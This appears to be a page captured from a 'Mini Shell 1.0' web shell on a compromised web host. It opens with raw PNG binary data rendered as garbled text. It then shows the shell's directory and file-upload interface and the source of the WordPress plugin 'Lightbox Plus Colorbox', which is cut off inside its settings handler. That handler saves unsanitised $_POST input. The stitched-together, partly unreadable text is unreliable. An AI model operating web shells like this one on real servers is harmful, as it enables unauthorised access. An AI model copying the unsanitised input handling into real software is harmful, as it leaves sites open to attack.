PNG  IHDRQgAMA a cHRMz&u0`:pQ<bKGDgmIDATxwUﹻ& ^CX(J I@ "% (** BX +*i"]j(IH{~R)[~>h{}gy)I$Ij .I$I$ʊy@}x.: $I$Ii}VZPC)I$IF ^0ʐJ$I$Q^}{"r=OzI$gRZeC.IOvH eKX $IMpxsk.쒷/&r[޳<v| .I~)@$updYRa$I |M.e JaֶpSYR6j>h%IRز if&uJ)M$I vLi=H;7UJ,],X$I1AҒJ$ XY XzI@GNҥRT)E@;]K*Mw;#5_wOn~\ DC&$(A5 RRFkvIR}l!RytRl;~^ǷJj اy뷦BZJr&ӥ8Pjw~vnv X^(I;4R=P[3]J,]ȏ~:3?[ a&e)`e*P[4]T=Cq6R[ ~ޤrXR Հg(t_HZ-Hg M$ãmL5R uk*`%C-E6/%[t X.{8P9Z.vkXŐKjgKZHg(aK9ڦmKjѺm_ \#$5,)-  61eJ,5m| r'= &ڡd%-]J on Xm|{ RҞe $eڧY XYrԮ-a7RK6h>n$5AVڴi*ֆK)mѦtmr1p| q:흺,)Oi*ֺK)ܬ֦K-5r3>0ԔHjJئEZj,%re~/z%jVMڸmrt)3]J,T K֦OvԒgii*bKiNO~%PW0=dii2tJ9Jݕ{7"I P9JKTbu,%r"6RKU}Ij2HKZXJ,妝 XYrP ެ24c%i^IK|.H,%rb:XRl1X4Pe/`x&P8Pj28Mzsx2r\zRPz4J}yP[g=L) .Q[6RjWgp FIH*-`IMRaK9TXcq*I y[jE>cw%gLRԕiFCj-ďa`#e~I j,%r,)?[gp FI˨mnWX#>mʔ XA DZf9,nKҲzIZXJ,L#kiPz4JZF,I,`61%2s $,VOϚ2/UFJfy7K> X+6 STXIeJILzMfKm LRaK9%|4p9LwJI!`NsiazĔ)%- XMq>pk$-$Q2x#N ؎-QR}ᶦHZډ)J,l#i@yn3LN`;nڔ XuX5pF)m|^0(>BHF9(cզEerJI rg7 4I@z0\JIi䵙RR0s;$s6eJ,`n 䂦0a)S)A 1eJ,堌#635RIgpNHuTH_SԕqVe ` &S)>p;S$魁eKIuX`I4춒o}`m$1":PI<[v9^\pTJjriRŭ P{#{R2,`)e-`mgj~1ϣLKam7&U\j/3mJ,`F;M'䱀 .KR#)yhTq;pcK9(q!w?uRR,n.yw*UXj#\]ɱ(qv2=RqfB#iJmmL<]Y͙#$5 uTU7ӦXR+q,`I}qL'`6Kͷ6r,]0S$- [RKR3oiRE|nӦXR.(i:LDLTJjY%o:)6rxzҒqTJjh㞦I.$YR.ʼnGZ\ֿf:%55 I˼!6dKxm4E"mG_ s? .e*?LRfK9%q#uh$)i3ULRfK9yxm܌bj84$i1U^@Wbm4uJ,ҪA>_Ij?1v32[gLRD96oTaR׿N7%L2 NT,`)7&ƝL*꽙yp_$M2#AS,`)7$rkTA29_Iye"|/0t)$n XT2`YJ;6Jx".e<`$) PI$5V4]29SRI>~=@j]lp2`K9Jaai^" Ԋ29ORI%:XV5]JmN9]H;1UC39NI%Xe78t)a;Oi Ҙ>Xt"~G>_mn:%|~ޅ_+]$o)@ǀ{hgN;IK6G&rp)T2i୦KJuv*T=TOSV>(~D>dm,I*Ɛ:R#ۙNI%D>G.n$o;+#RR!.eU˽TRI28t)1LWϚ>IJa3oFbu&:tJ*(F7y0ZR ^p'Ii L24x| XRI%ۄ>S1]Jy[zL$adB7.eh4%%누>WETf+3IR:I3Xה)3אOۦSRO'ٺ)S}"qOr[B7ϙ.edG)^ETR"RtRݜh0}LFVӦDB^k_JDj\=LS(Iv─aTeZ%eUAM-0;~˃@i|l @S4y72>sX-vA}ϛBI!ݎߨWl*)3{'Y|iSlEڻ(5KtSI$Uv02,~ԩ~x;P4ցCrO%tyn425:KMlD ^4JRxSهF_}شJTS6uj+ﷸk$eZO%G*^V2u3EMj3k%)okI]dT)URKDS 7~m@TJR~荪fT"֛L \sM -0T KfJz+nإKr L&j()[E&I ߴ>e FW_kJR|!O:5/2跌3T-'|zX ryp0JS ~^F>-2< `*%ZFP)bSn"L :)+pʷf(pO3TMW$~>@~ū:TAIsV1}S2<%ޟM?@iT ,Eūoz%i~g|`wS(]oȤ8)$ ntu`өe`6yPl IzMI{ʣzʨ )IZ2= ld:5+請M$-ї;U>_gsY$ÁN5WzWfIZ)-yuXIfp~S*IZdt;t>KūKR|$#LcԀ+2\;kJ`]YǔM1B)UbG"IRߊ<xܾӔJ0Z='Y嵤 Leveg)$znV-º^3Ւof#0Tfk^Zs[*I꯳3{)ˬW4Ւ4 OdpbZRS|*I 55#"&-IvT&/윚Ye:i$ 9{LkuRe[I~_\ؠ%>GL$iY8 9ܕ"S`kS.IlC;Ҏ4x&>u_0JLr<J2(^$5L s=MgV ~,Iju> 7r2)^=G$1:3G< `J3~&IR% 6Tx/rIj3O< ʔ&#f_yXJiގNSz; Tx(i8%#4 ~AS+IjerIUrIj362v885+IjAhK__5X%nV%Iͳ-y|7XV2v4fzo_68"S/I-qbf; LkF)KSM$ Ms>K WNV}^`-큧32ŒVؙGdu,^^m%6~Nn&͓3ŒVZMsRpfEW%IwdǀLm[7W&bIRL@Q|)* i ImsIMmKmyV`i$G+R 0tV'!V)֏28vU7͒vHꦼtxꗞT ;S}7Mf+fIRHNZUkUx5SAJㄌ9MqμAIRi|j5)o*^'<$TwI1hEU^c_j?Е$%d`z cyf,XO IJnTgA UXRD }{H}^S,P5V2\Xx`pZ|Yk:$e ~ @nWL.j+ϝYb퇪bZ BVu)u/IJ_ 1[p.p60bC >|X91P:N\!5qUB}5a5ja `ubcVxYt1N0Zzl4]7­gKj]?4ϻ *[bg$)+À*x쳀ogO$~,5 زUS9 lq3+5mgw@np1sso Ӻ=|N6 /g(Wv7U;zωM=wk,0uTg_`_P`uz?2yI!b`kĸSo+Qx%!\οe|އԁKS-s6pu_(ֿ$i++T8=eY; צP+phxWQv*|p1. ά. XRkIQYP,drZ | B%wP|S5`~́@i޾ E;Չaw{o'Q?%iL{u D?N1BD!owPHReFZ* k_-~{E9b-~P`fE{AܶBJAFO wx6Rox5 K5=WwehS8 (JClJ~ p+Fi;ŗo+:bD#g(C"wA^ r.F8L;dzdIHUX݆ϞXg )IFqem%I4dj&ppT{'{HOx( Rk6^C٫O.)3:s(۳(Z?~ٻ89zmT"PLtw䥈5&b<8GZ-Y&K?e8,`I6e(֍xb83 `rzXj)F=l($Ij 2*(F?h(/9ik:I`m#p3MgLaKjc/U#n5S# m(^)=y=đx8ŬI[U]~SцA4p$-F i(R,7Cx;X=cI>{Km\ o(Tv2vx2qiiDJN,Ҏ!1f 5quBj1!8 rDFd(!WQl,gSkL1Bxg''՞^ǘ;pQ P(c_ IRujg(Wz bs#P­rz> k c&nB=q+ؔXn#r5)co*Ũ+G?7< |PQӣ'G`uOd>%Mctz# Ԫڞ&7CaQ~N'-P.W`Oedp03C!IZcIAMPUۀ5J<\u~+{9(FbbyAeBhOSܳ1 bÈT#ŠyDžs,`5}DC-`̞%r&ڙa87QWWp6e7 Rϫ/oY ꇅ Nܶըtc!LA T7V4Jsū I-0Pxz7QNF_iZgúWkG83 0eWr9 X]㾮݁#Jˢ C}0=3ݱtBi]_ &{{[/o[~ \q鯜00٩|cD3=4B_b RYb$óBRsf&lLX#M*C_L܄:gx)WΘsGSbuL rF$9';\4Ɍq'n[%p.Q`u hNb`eCQyQ|l_C>Lb꟟3hSb #xNxSs^ 88|Mz)}:](vbۢamŖ࿥ 0)Q7@0=?^k(*J}3ibkFn HjB׻NO z x}7p 0tfDX.lwgȔhԾŲ }6g E |LkLZteu+=q\Iv0쮑)QٵpH8/2?Σo>Jvppho~f>%bMM}\//":PTc(v9v!gոQ )UfVG+! 35{=x\2+ki,y$~A1iC6#)vC5^>+gǵ@1Hy٪7u;p psϰu/S <aʸGu'tD1ԝI<pg|6j'p:tպhX{o(7v],*}6a_ wXRk,O]Lܳ~Vo45rp"N5k;m{rZbΦ${#)`(Ŵg,;j%6j.pyYT?}-kBDc3qA`NWQū20/^AZW%NQ MI.X#P#,^Ebc&?XR tAV|Y.1!؅⨉ccww>ivl(JT~ u`ٵDm q)+Ri x/x8cyFO!/*!/&,7<.N,YDŽ&ܑQF1Bz)FPʛ?5d 6`kQձ λc؎%582Y&nD_$Je4>a?! ͨ|ȎWZSsv8 j(I&yj Jb5m?HWp=g}G3#|I,5v珿] H~R3@B[☉9Ox~oMy=J;xUVoj bUsl_35t-(ՃɼRB7U!qc+x4H_Qo֮$[GO<4`&č\GOc[.[*Af%mG/ ňM/r W/Nw~B1U3J?P&Y )`ѓZ1p]^l“W#)lWZilUQu`-m|xĐ,_ƪ|9i:_{*(3Gѧ}UoD+>m_?VPۅ15&}2|/pIOʵ> GZ9cmíتmnz)yߐbD >e}:) r|@R5qVSA10C%E_'^8cR7O;6[eKePGϦX7jb}OTGO^jn*媓7nGMC t,k31Rb (vyܴʭ!iTh8~ZYZp(qsRL ?b}cŨʊGO^!rPJO15MJ[c&~Z`"ѓޔH1C&^|Ш|rʼ,AwĴ?b5)tLU)F| &g٣O]oqSUjy(x<Ϳ3 .FSkoYg2 \_#wj{u'rQ>o;%n|F*O_L"e9umDds?.fuuQbIWz |4\0 sb;OvxOSs; G%T4gFRurj(֍ڑb uԖKDu1MK{1^ q; C=6\8FR艇!%\YÔU| 88m)֓NcLve C6z;o&X x59:q61Z(T7>C?gcļxѐ Z oo-08jہ x,`' ҔOcRlf~`jj".Nv+sM_]Zk g( UOPyεx%pUh2(@il0ݽQXxppx-NS( WO+轾 nFߢ3M<;z)FBZjciu/QoF 7R¥ ZFLF~#ȣߨ^<쩡ݛкvџ))ME>ώx4m#!-m!L;vv#~Y[đKmx9.[,UFS CVkZ +ߟrY٧IZd/ioi$%͝ب_ֶX3ܫhNU ZZgk=]=bbJS[wjU()*I =ώ:}-蹞lUj:1}MWm=̛ _ ¾,8{__m{_PVK^n3esw5ӫh#$-q=A̟> ,^I}P^J$qY~Q[ Xq9{#&T.^GVj__RKpn,b=`żY@^՝;z{paVKkQXj/)y TIc&F;FBG7wg ZZDG!x r_tƢ!}i/V=M/#nB8 XxЫ ^@CR<{䤭YCN)eKOSƟa $&g[i3.C6xrOc8TI;o hH6P&L{@q6[ Gzp^71j(l`J}]e6X☉#͕ ׈$AB1Vjh㭦IRsqFBjwQ_7Xk>y"N=MB0 ,C #o6MRc0|$)ف"1!ixY<B9mx `,tA>)5ػQ?jQ?cn>YZe Tisvh# GMމȇp:ԴVuږ8ɼH]C.5C!UV;F`mbBk LTMvPʍϤj?ԯ/Qr1NB`9s"s TYsz &9S%U԰> {<ؿSMxB|H\3@!U| k']$U+> |HHMLޢ?V9iD!-@x TIî%6Z*9X@HMW#?nN ,oe6?tQwڱ.]-y':mW0#!J82qFjH -`ѓ&M0u Uγmxϵ^-_\])@0Rt.8/?ٰCY]x}=sD3ojަЫNuS%U}ԤwHH>ڗjܷ_3gN q7[q2la*ArǓԖ+p8/RGM ]jacd(JhWko6ڎbj]i5Bj3+3!\j1UZLsLTv8HHmup<>gKMJj0@H%,W΃7R) ">c, xixј^ aܖ>H[i.UIHc U1=yW\=S*GR~)AF=`&2h`DzT󑓶J+?W+}C%P:|0H܆}-<;OC[~o.$~i}~HQ TvXΈr=b}$vizL4:ȰT|4~*!oXQR6Lk+#t/g lԁߖ[Jڶ_N$k*". xsxX7jRVbAAʯKҎU3)zSNN _'s?f)6X!%ssAkʱ>qƷb hg %n ~p1REGMHH=BJiy[<5 ǁJҖgKR*倳e~HUy)Ag,K)`Vw6bRR:qL#\rclK/$sh*$ 6덤 KԖc 3Z9=Ɣ=o>X Ώ"1 )a`SJJ6k(<c e{%kϊP+SL'TcMJWRm ŏ"w)qc ef꒵i?b7b('"2r%~HUS1\<(`1Wx9=8HY9m:X18bgD1u ~|H;K-Uep,, C1 RV.MR5άh,tWO8WC$ XRVsQS]3GJ|12 [vM :k#~tH30Rf-HYݺ-`I9%lIDTm\ S{]9gOڒMNCV\G*2JRŨ;Rҏ^ڽ̱mq1Eu?To3I)y^#jJw^Ńj^vvlB_⋌P4x>0$c>K†Aļ9s_VjTt0l#m>E-,,x,-W)سo&96RE XR.6bXw+)GAEvL)͞K4$p=Ũi_ѱOjb HY/+@θH9޼]Nԥ%n{ &zjT? Ty) s^ULlb,PiTf^<À] 62R^V7)S!nllS6~͝V}-=%* ʻ>G DnK<y&>LPy7'r=Hj 9V`[c"*^8HpcO8bnU`4JȪAƋ#1_\ XϘHPRgik(~G~0DAA_2p|J묭a2\NCr]M_0 ^T%e#vD^%xy-n}-E\3aS%yN!r_{ )sAw ڼp1pEAk~v<:`'ӭ^5 ArXOI驻T (dk)_\ PuA*BY]yB"l\ey hH*tbK)3 IKZ򹞋XjN n *n>k]X_d!ryBH ]*R 0(#'7 %es9??ښFC,ՁQPjARJ\Ρw K#jahgw;2$l*) %Xq5!U᢯6Re] |0[__64ch&_}iL8KEgҎ7 M/\`|.p,~`a=BR?xܐrQ8K XR2M8f ?`sgWS%" Ԉ 7R%$ N}?QL1|-эټwIZ%pvL3Hk>,ImgW7{E xPHx73RA @RS CC !\ȟ5IXR^ZxHл$Q[ŝ40 (>+ _C >BRt<,TrT {O/H+˟Pl6 I B)/VC<6a2~(XwV4gnXR ϱ5ǀHٻ?tw똤Eyxp{#WK qG%5],(0ӈH HZ])ג=K1j&G(FbM@)%I` XRg ʔ KZG(vP,<`[ Kn^ SJRsAʠ5xՅF`0&RbV tx:EaUE/{fi2;.IAwW8/tTxAGOoN?G}l L(n`Zv?pB8K_gI+ܗ #i?ޙ.) p$utc ~DžfՈEo3l/)I-U?aԅ^jxArA ΧX}DmZ@QLےbTXGd.^|xKHR{|ΕW_h] IJ`[G9{).y) 0X YA1]qp?p_k+J*Y@HI>^?gt.06Rn ,` ?);p pSF9ZXLBJPWjgQ|&)7! HjQt<| ؅W5 x W HIzYoVMGP Hjn`+\(dNW)F+IrS[|/a`K|ͻ0Hj{R,Q=\ (F}\WR)AgSG`IsnAR=|8$}G(vC$)s FBJ?]_u XRvύ6z ŨG[36-T9HzpW̞ú Xg큽=7CufzI$)ki^qk-) 0H*N` QZkk]/tnnsI^Gu't=7$ Z;{8^jB% IItRQS7[ϭ3 $_OQJ`7!]W"W,)Iy W AJA;KWG`IY{8k$I$^%9.^(`N|LJ%@$I}ֽp=FB*xN=gI?Q{٥4B)mw $Igc~dZ@G9K X?7)aK%݅K$IZ-`IpC U6$I\0>!9k} Xa IIS0H$I H ?1R.Чj:4~Rw@p$IrA*u}WjWFPJ$I➓/6#! LӾ+ X36x8J |+L;v$Io4301R20M I$-E}@,pS^ޟR[/s¹'0H$IKyfŸfVOπFT*a$I>He~VY/3R/)>d$I>28`Cjw,n@FU*9ttf$I~<;=/4RD~@ X-ѕzἱI$: ԍR a@b X{+Qxuq$IЛzo /~3\8ڒ4BN7$IҀj V]n18H$IYFBj3̵̚ja pp $Is/3R Ӻ-Yj+L;.0ŔI$Av? #!5"aʄj}UKmɽH$IjCYs?h$IDl843.v}m7UiI=&=0Lg0$I4: embe` eQbm0u? $IT!Sƍ'-sv)s#C0:XB2a w I$zbww{."pPzO =Ɔ\[ o($Iaw]`E).Kvi:L*#gР7[$IyGPI=@R 4yR~̮´cg I$I/<tPͽ hDgo 94Z^k盇΄8I56^W$I^0̜N?4*H`237}g+hxoq)SJ@p|` $I%>-hO0eO>\ԣNߌZD6R=K ~n($I$y3D>o4b#px2$yڪtzW~a $I~?x'BwwpH$IZݑnC㧄Pc_9sO gwJ=l1:mKB>Ab<4Lp$Ib o1ZQ@85b̍ S'F,Fe,^I$IjEdù{l4 8Ys_s Z8.x m"+{~?q,Z D!I$ϻ'|XhB)=…']M>5 rgotԎ 獽PH$IjIPhh)n#cÔqA'ug5qwU&rF|1E%I$%]!'3AFD/;Ck_`9 v!ٴtPV;x`'*bQa w I$Ix5 FC3D_~A_#O݆DvV?<qw+I$I{=Z8".#RIYyjǪ=fDl9%M,a8$I$Ywi[7ݍFe$s1ՋBVA?`]#!oz4zjLJo8$I$%@3jAa4(o ;p,,dya=F9ً[LSPH$IJYЉ+3> 5"39aZ<ñh!{TpBGkj}Sp $IlvF.F$I z< '\K*qq.f<2Y!S"-\I$IYwčjF$ w9 \ߪB.1v!Ʊ?+r:^!I$BϹB H"B;L'G[ 4U#5>੐)|#o0aڱ$I>}k&1`U#V?YsV x>{t1[I~D&(I$I/{H0fw"q"y%4 IXyE~M3 8XψL}qE$I[> nD?~sf ]o΁ cT6"?'_Ἣ $I>~.f|'!N?⟩0G KkXZE]ޡ;/&?k OۘH$IRۀwXӨ<7@PnS04aӶp.:@\IWQJ6sS%I$e5ڑv`3:x';wq_vpgHyXZ 3gЂ7{{EuԹn±}$I$8t;b|591nءQ"P6O5i }iR̈́%Q̄p!I䮢]O{H$IRϻ9s֧ a=`- aB\X0"+5"C1Hb?߮3x3&gşggl_hZ^,`5?ߎvĸ%̀M!OZC2#0x LJ0 Gw$I$I}<{Eb+y;iI,`ܚF:5ܛA8-O-|8K7s|#Z8a&><a&/VtbtLʌI$I$I$I$I$I$IRjDD%tEXtdate:create2022-05-31T04:40:26+00:00!Î%tEXtdate:modify2022-05-31T04:40:26+00:00|{2IENDB`Mini Shell

HOME


Mini Shell 1.0
DIR:/home/htlwork.com/www/dev/magento/html-old/wp/wp-content/plugins/lightbox-plus/
Upload File :
Current File : /home/htlwork.com/www/dev/magento/html-old/wp/wp-content/plugins/lightbox-plus/lightboxplus.php
<?php
/*
Plugin Name: Lightbox Plus Colorbox
Plugin URI: http://www.23systems.net/plugins/lightbox-plus/
Description: Lightbox Plus Colorbox implements Colorbox as a lightbox image overlay tool for WordPress.  <a href="http://www.jacklmoore.com/colorbox">Colorbox</a> was created by Jack Moore of Color Powered and is licensed under the <a href="http://www.opensource.org/licenses/mit-license.php">MIT License</a>.
Author: Dan Zappone
Author URI: http://www.23systems.net/
Version: 2.7.2
*/

/**
 * @package Lightbox Plus Colorbox
 * @subpackage lightboxplus.php DEV VERSION
 * @internal 2013.01.16
 * @author Dan Zappone / 23Systems
 * @version 2.7.2
 * @$Id: lightboxplus.php 937945 2014-06-24 17:11:13Z dzappone $
 * @$URL: https://plugins.svn.wordpress.org/lightbox-plus/tags/2.7/lightboxplus.php $
 */
/**
 * WordPress Globals
 *
 * @var mixed
 */
global $post;
global $content;
global $page;
global $wp_query;
global $wp_version;
global $the_post_id;
/**
 * Lightbox Plus Colorbox Globals
 *
 * @var mixed
 */
global $g_lbp_version;
global $g_lbp_shortcode_version;
global $g_lbp_colorbox_version;
global $g_lbp_simple_html_dom_version;
global $g_lightbox_plus_url;
global $g_lightbox_plus_dir;
global $g_lbp_messages;
global $g_lbp_message_title;
global $g_lbp_plugin_page;
global $g_lbp_local_style_path;
global $g_lbp_global_style_path;
global $g_lbp_local_style_url;
global $g_lbp_global_style_url;

$g_lbp_version                 = '2.7.2';
$g_lbp_simple_html_dom_version = '1.5 Rev: 202';
/**
 * Instantiate Lightbox Plus Colorbox Globals
 *
 * @var mixed
 */
$g_lbp_plugin_page       = '';
$g_lbp_messages          = '';
$g_lbp_message_title     = '';
$g_lightbox_plus_url     = plugin_dir_url( __FILE__ );
$g_lightbox_plus_dir     = plugin_dir_path( __FILE__ );
$g_lbp_local_style_path  = $g_lightbox_plus_dir . '/css';
$g_lbp_global_style_path = ABSPATH . 'wp-content' . '/lbp-css';
$g_lbp_local_style_url   = $g_lightbox_plus_url . 'css';
$g_lbp_global_style_url  = content_url() . '/lbp-css';

switch ( floatval( $wp_version ) ) {
	case 3.0:
	case 3.1:
	case 3.2:
	case 3.3:
		$g_lbp_colorbox_version = '1.5.9';
		break;
	default:
		$g_lbp_colorbox_version = '1.5.9';
		break;
}
/**
 * Require extended Lightbox Plus Colorbox classes
 */
require_once( 'classes/utility.class.php' );
switch ( floatval( $wp_version ) ) {
	case 3.0:
		require_once( 'classes/shortcode30.class.php' );
		$g_lbp_shortcode_version = '3.0';
		break;
	case 3.1:
	case 3.2:
	case 3.3:
	case 3.4:
		require_once( 'classes/shortcode34.class.php' );
		$g_lbp_shortcode_version = '3.4';
		break;
	default:
		require_once( 'classes/shortcode.class.php' );
		$g_lbp_shortcode_version = '3.9';
		break;
}
require_once( 'classes/filters.class.php' );
require_once( 'classes/actions.class.php' );
require_once( 'classes/init.class.php' );
/**
 * Require HTML Parser
 */
require_once( 'classes/shd.class.php' );

/**
 * On Plugin Activation initialize settings
 */
if ( ! function_exists( 'ActivateLBP' ) ) {
	function ActivateLBP() {
		$lbp_activate = new lbp_init();
		$lbp_activate->lightboxPlusInit();
		unset( $lbp_activate );
	}
}

/**
 * On plugin deactivation remove settings
 */
if ( ! function_exists( 'DeactivateLBP' ) ) {
	function DeactivateLBP() {
	}
}

/**
 * On plugin deactivation remove settings
 */
if ( ! function_exists( 'UninstallLBP' ) ) {
	function UninstallLBP() {
		delete_option( 'lightboxplus_options' );
		delete_option( 'lightboxplus_init' );
	}
}


/**
 * Register activation/deactivation hooks and text domain
 */
register_activation_hook( __FILE__, 'ActivateLBP' );
register_deactivation_hook( __FILE__, 'DeactivateLBP' );
register_uninstall_hook( __FILE__, 'UninstallLBP' );
load_plugin_textdomain( 'lightboxplus', false, $path = $g_lightbox_plus_url . 'languages' );

/**
 * Ensure class doesn't already exist
 */
if ( ! class_exists( 'wp_lightboxplus' ) ) {
	class wp_lightboxplus extends lbp_init {
		/**
		 * The name the options are saved under in the database
		 *
		 * @var mixed
		 */
		var $lightboxOptionsName = 'lightboxplus_options';
		var $lightboxInitName = 'lightboxplus_init';
		var $lightboxStylePathName = 'lightboxplus_style_path';

		/**
		 * PHP 5 constructor
		 */
		function __construct() {
			add_action( 'init', array( $this, 'init' ) );
		}

		/**
		 * The PHP 5 Constructor - initializes the plugin and sets up panels
		 */
		function init() {
			$this->lightboxOptions = $this->getAdminOptions( $this->lightboxOptionsName );

			if ( ! empty( $this->lightboxOptions ) ) {
				$lightboxPlusOptions = $this->getAdminOptions( $this->lightboxOptionsName );
			}

			/**
			 * If user is in the admin panel
			 */
			if ( is_admin() && current_user_can( 'administrator' ) ) {
				add_action( 'admin_menu', array( &$this, 'lightboxPlusAddPanel' ) );
				/**
				 * Check to see if the user wants to use per page/post options
				 */
				if ( ( isset( $lightboxPlusOptions['use_forpage'] ) && $lightboxPlusOptions['use_forpage'] == '1' ) || ( isset( $lightboxPlusOptions['use_forpost'] ) && $lightboxPlusOptions['use_forpost'] == '1' ) ) {
					add_action( 'save_post', array( &$this, 'lightboxPlusSaveMeta' ), 10, 2 );
					add_action( 'add_meta_boxes', array( &$this, "lightboxPlusMetaBox" ), 10, 2 );
				}
				$this->lbpFinal();
			}
			add_action( 'template_redirect', array( &$this, 'lbpInitial' ) );
			add_filter( 'plugin_row_meta', array( &$this, 'RegisterLBPLinks' ), 10, 2 );
		}

		function lbpInitial() {
			global $the_post_id;
			global $wp_query;

			$the_post_id = $wp_query->post->ID;

			if ( ! empty( $this->lightboxOptions ) ) {
				$lightboxPlusOptions = $this->getAdminOptions( $this->lightboxOptionsName );
			}

			/**
			 * Remove following line after a few versions or 2.6 is the prevelent version
			 */
			$lightboxPlusOptions = $this->setMissingOptions( $lightboxPlusOptions );

			if ( isset( $lightboxPlusOptions['use_perpage'] ) && $lightboxPlusOptions['use_perpage'] != '0' ) {
				add_action( 'wp_print_styles', array( &$this, 'lightboxPlusAddHeader' ), intval( $lightboxPlusOptions['load_priority'] ) );
				if ( $lightboxPlusOptions['use_forpage'] && get_post_meta( $the_post_id, '_lbp_use', true ) ) {
					$this->lbpFinal();
				}
				if ( $lightboxPlusOptions['use_forpost'] && ( ( $wp_query->is_posts_page ) || is_single() ) ) {
					$this->lbpFinal();
				}
			} else {
				$this->lbpFinal();
			}
		}

		function lbpFinal() {
			/**
			 * Get lightbox options to check for auto-lightbox and gallery
			 */
			if ( ! empty( $this->lightboxOptions ) ) {
				$lightboxPlusOptions = $this->getAdminOptions( $this->lightboxOptionsName );
				/**
				 * Remove following line after a few versions or 2.6 is the prevelent version
				 */
				$lightboxPlusOptions = $this->setMissingOptions( $lightboxPlusOptions );

				add_action( 'wp_print_styles', array( &$this, 'lightboxPlusAddHeader' ), intval( $lightboxPlusOptions['load_priority'] ) );

				/**
				 * Check to see if users wants images auto-lightboxed
				 */
				if ( $lightboxPlusOptions['no_auto_lightbox'] != 1 ) {
					/**
					 * Check to see if user wants to have gallery images lightboxed
					 */
					if ( $lightboxPlusOptions['gallery_lightboxplus'] != 1 ) {
						add_filter( 'the_content', array( &$this, 'filterLightboxPlusReplace' ), 11 );
					} else {
						remove_shortcode( 'gallery' );
						add_shortcode( 'gallery', array( &$this, 'lightboxPlusGallery' ), 6 );
						add_filter( 'the_content', array( &$this, 'filterLightboxPlusReplace' ), 11 );
					}
				}
				//add_action( 'wp_footer', array( &$this, 'lightboxPlusColorbox' ) );
				add_action( $lightboxPlusOptions['load_location'], array( &$this, 'lightboxPlusColorbox' ), ( intval( $lightboxPlusOptions['load_priority'] ) + 4 ) );
			}
		}

		/**
		 * Retrieves the options from the database.
		 *
		 * @param mixed $optionsName
		 */
		function getAdminOptions( $optionsName ) {
			$savedOptions = get_option( $optionsName );
			if ( ! empty( $savedOptions ) ) {
				foreach ( $savedOptions as $key => $option ) {
					$theOptions[ $key ] = $option;
				}
			}
			update_option( $optionsName, $theOptions );

			return $theOptions;
		}

		/**
		 * Saves the admin options to the database.
		 *
		 * @param mixed $optionsName
		 * @param mixed $options
		 */
		function saveAdminOptions( $optionsName, $options ) {
			update_option( $optionsName, $options );
		}

		/**
		 * Adds links to the plugin row on the plugins page.
		 * This add_filter function must be in this file or it does not work correctly, requires plugin_basename and file match
		 *
		 * @param $links
		 * @param $file
		 *
		 * @return array
		 */
		function RegisterLBPLinks( $links, $file ) {
			$base = plugin_basename( __FILE__ );
			if ( $file == $base ) {
				$links[] = '<a href="themes.php?page=lightboxplus" title="Lightbox Plus Colorbox Settings">' . __( 'Settings', 'lightboxplus' ) . '</a>';
				$links[] = '<a href="http://www.23systems.net/wordpress-plugins/lightbox-plus-for-wordpress/frequently-asked-questions/" title="Lightbox Plus Colorbox FAQ">' . __( 'FAQ', 'lightboxplus' ) . '</a>';
				$links[] = '<a href="http://twitter.com/23systems" title="@23System on Twitter">' . __( 'Twitter', 'lightboxplus' ) . '</a>';
				$links[] = '<a href="http://www.facebook.com/23Systems" title="23Systems on Facebook">' . __( 'Facebook', 'lightboxplus' ) . '</a>';
				$links[] = '<a href="http://www.linkedin.com/company/23systems" title="23Systems on LinkedIn">' . __( 'LinkedIn', 'lightboxplus' ) . '</a>';
				$links[] = '<a href="https://plus.google.com/111641141856782935011/posts" title="23System on Google+">' . __( 'Google+', 'lightboxplus' ) . '</a>';
				$links[] = '<a href="http://www.23systems.net/donate/" title="Donate to Lightbox Plus Colorbox">' . __( 'Donate', 'lightboxplus' ) . '</a>';
			}

			return $links;
		}

		/**
		 * The admin panel funtion
		 * handles creating admin panel and processing of form submission
		 */
		function lightboxPlusAdminPanel() {
			global $g_lightbox_plus_url;
			global $g_lbp_messages;
			global $g_lbp_message_title;
			global $g_lbp_local_style_path;
			global $g_lbp_global_style_path;
			global $g_lbp_version;
			global $g_lbp_shortcode_version;
			global $g_lbp_colorbox_version;
			global $g_lbp_simple_html_dom_version;
			$location = admin_url( '/admin.php?page=lightboxplus' );
			/**
			 * Check form submission and update setting
			 */
			if ( isset( $_POST['action'] ) ) {
				switch ( $_POST['sub'] ) {
					case 'settings':
						$lightboxPlusOptions = array(
							"lightboxplus_multi"   => $_POST['lightboxplus_multi'],
							"use_inline"           => $_POST['use_inline'],
							"inline_num"           => $_POST['inline_num'],
							"lightboxplus_style"   => $_POST['lightboxplus_style'],
							"use_custom_style"     => $_POST['use_custom_style'],
							"disable_css"          => $_POST['disable_css'],
							"hide_about"           => $_POST['hide_about'],
							"output_htmlv"         => $_POST['output_htmlv'],
							"data_name"            => $_POST['data_name'],
							"load_location"        => $_POST['load_location'],
							"load_priority"        => $_POST['load_priority'],
							"use_perpage"          => $_POST['use_perpage'],
							"use_forpage"          => $_POST['use_forpage'],
							"use_forpost"          => $_POST['use_forpost'],
							"transition"           => $_POST['transition'],
							"speed"                => $_POST['speed'],
							"width"                => $_POST['width'],
							"height"               => $_POST['height'],
							"inner_width"          => $_POST['inner_width'],
							"inner_height"         => $_POST['inner_height'],
							"initial_width"        => $_POST['initial_width'],
							"initial_height"       => $_POST['initial_height'],
							"max_width"            => $_POST['max_width'],
							"max_height"           => $_POST['max_height'],
							"resize"               => $_POST['resize'],
							"opacity"              => $_POST['opacity'],
							"preloading"           => $_POST['preloading'],
							"label_image"          => $_POST['label_image'],
							"label_of"             => $_POST['label_of'],
							"previous"             => $_POST['previous'],
							"next"                 => $_POST['next'],
							"close"                => $_POST['close'],
							"overlay_close"        => $_POST['overlay_close'],
							"slideshow"            => $_POST['slideshow'],
							"slideshow_auto"       => $_POST['slideshow_auto'],
							"slideshow_speed"      => $_POST['slideshow_speed'],
							"slideshow_start"      => $_POST['slideshow_start'],
							"slideshow_stop"       => $_POST['slideshow_stop'],
							"use_caption_title"    => $_POST['use_caption_title'],
							"gallery_lightboxplus" => $_POST['gallery_lightboxplus'],
							"multiple_galleries"   => $_POST['multiple_galleries'],
							"use_class_method"     => $_POST['use_class_method'],
							"class_name"           => $_POST['class_name'],
							"no_auto_lightbox"     => $_POST['no_auto_lightbox'],
							"text_links"           => $_POST['text_links'],
							"no_display_title"     => $_POST['no_display_title'],
							"scrolling"            => $_POST['scrolling'],
							"photo"                => $_POST['photo'],
							"rel"                  => $_POST['rel'], //Disable grouping
							"loop"                 => $_POST['loop'],
							"esc_key"              => $_POST['esc_key'],
							"arrow_key"            => $_POST['arrow_key'],
							"top"                  => $_POST['top'],
